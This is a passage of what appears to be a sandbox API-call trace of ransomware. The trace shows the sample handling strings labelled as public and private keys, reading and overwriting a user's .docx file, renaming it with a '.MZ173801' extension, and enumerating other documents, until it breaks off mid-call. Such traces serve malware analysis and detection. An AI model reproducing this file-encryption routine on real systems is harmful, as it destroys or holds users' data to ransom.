lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0169.557] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0169.557] GetCurrentThreadId () returned 0xab4 [0169.557] GetCurrentThreadId () returned 0xab4 [0169.557] GetCurrentThreadId () returned 0xab4 [0169.557] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\p6t1b-Chc.docx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\p6t1b-chc.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0169.557] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0169.557] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0169.557] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x105e8 [0169.557] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0169.557] ReadFile (in: hFile=0x2f8, lpBuffer=0x24a8f70, nNumberOfBytesToRead=0x105e8, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a8f70*, lpNumberOfBytesRead=0x19f74c*=0x105e8, lpOverlapped=0x0) returned 1 [0169.559] CloseHandle (hObject=0x2f8) returned 1 [0169.560] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\p6t1b-Chc.docx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\p6t1b-chc.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0169.561] WriteFile (in: hFile=0x2f8, lpBuffer=0x24bafa0*, nNumberOfBytesToWrite=0x105e8, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24bafa0*, lpNumberOfBytesWritten=0x19f758*=0x105e8, lpOverlapped=0x0) returned 1 [0169.611] CloseHandle (hObject=0x2f8) returned 1 [0169.611] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\p6t1b-Chc.docx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\p6t1b-chc.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\p6t1b-Chc.docx.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\p6t1b-chc.docx.mz173801")) returned 1 [0169.612] GetCurrentThreadId () returned 0xab4 [0169.612] GetCurrentThreadId () returned 0xab4 [0169.612] GetCurrentThreadId () returned 0xab4 [0169.612] GetCurrentThreadId () returned 0xab4 [0169.612] GetCurrentThreadId () returned 0xab4 [0169.612] GetCurrentThreadId () returned 0xab4 [0169.612] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a7e170, ftCreationTime.dwHighDateTime=0x1d5e253, ftLastAccessTime.dwLowDateTime=0xb26f7d10, ftLastAccessTime.dwHighDateTime=0x1d5ef2f, ftLastWriteTime.dwLowDateTime=0xb26f7d10, ftLastWriteTime.dwHighDateTime=0x1d5ef2f, nFileSizeHigh=0x0, nFileSizeLow=0x100a4, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="stORdcBeyE_X-TsDeG.odp", cAlternateFileName="STORDC~1.ODP")) returned 1 [0169.612] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0169.612] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0169.612] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6fa6f0, ftCreationTime.dwHighDateTime=0x1d5e517, ftLastAccessTime.dwLowDateTime=0x3c0f8ba0, ftLastAccessTime.dwHighDateTime=0x1d5ee4a, ftLastWriteTime.dwLowDateTime=0x3c0f8ba0, ftLastWriteTime.dwHighDateTime=0x1d5ee4a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="XIPVtvqfodb6mWbl", cAlternateFileName="XIPVTV~1")) returned 1 [0169.612] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dcc210, ftCreationTime.dwHighDateTime=0x1d5edfe, ftLastAccessTime.dwLowDateTime=0x8314e310, ftLastAccessTime.dwHighDateTime=0x1d5e6de, ftLastWriteTime.dwLowDateTime=0x8314e310, ftLastWriteTime.dwHighDateTime=0x1d5e6de, nFileSizeHigh=0x0, nFileSizeLow=0xa6b, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Zfw8B2NL L0e8.pdf", cAlternateFileName="ZFW8B2~1.PDF")) returned 1 [0169.612] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0169.612] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0169.613] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\Zfw8B2NL L0e8.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zfw8b2nl l0e8.pdf"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dcc210, ftCreationTime.dwHighDateTime=0x1d5edfe, ftLastAccessTime.dwLowDateTime=0x8314e310, ftLastAccessTime.dwHighDateTime=0x1d5e6de, ftLastWriteTime.dwLowDateTime=0x8314e310, ftLastWriteTime.dwHighDateTime=0x1d5e6de, nFileSizeHigh=0x0, nFileSizeLow=0xa6b)) returned 1 [0169.613] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\Zfw8B2NL L0e8.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zfw8b2nl l0e8.pdf")) returned 0x20 [0169.613] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\Zfw8B2NL L0e8.pdf", dwFileAttributes=0x80) returned 1 [0169.614] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0169.614] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x3225fac, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0169.615] GetCurrentThreadId () returned 0xab4 [0169.615] GetCurrentThreadId () returned 0xab4 [0169.615] GetCurrentThreadId () returned 0xab4 [0169.616] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0169.616] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 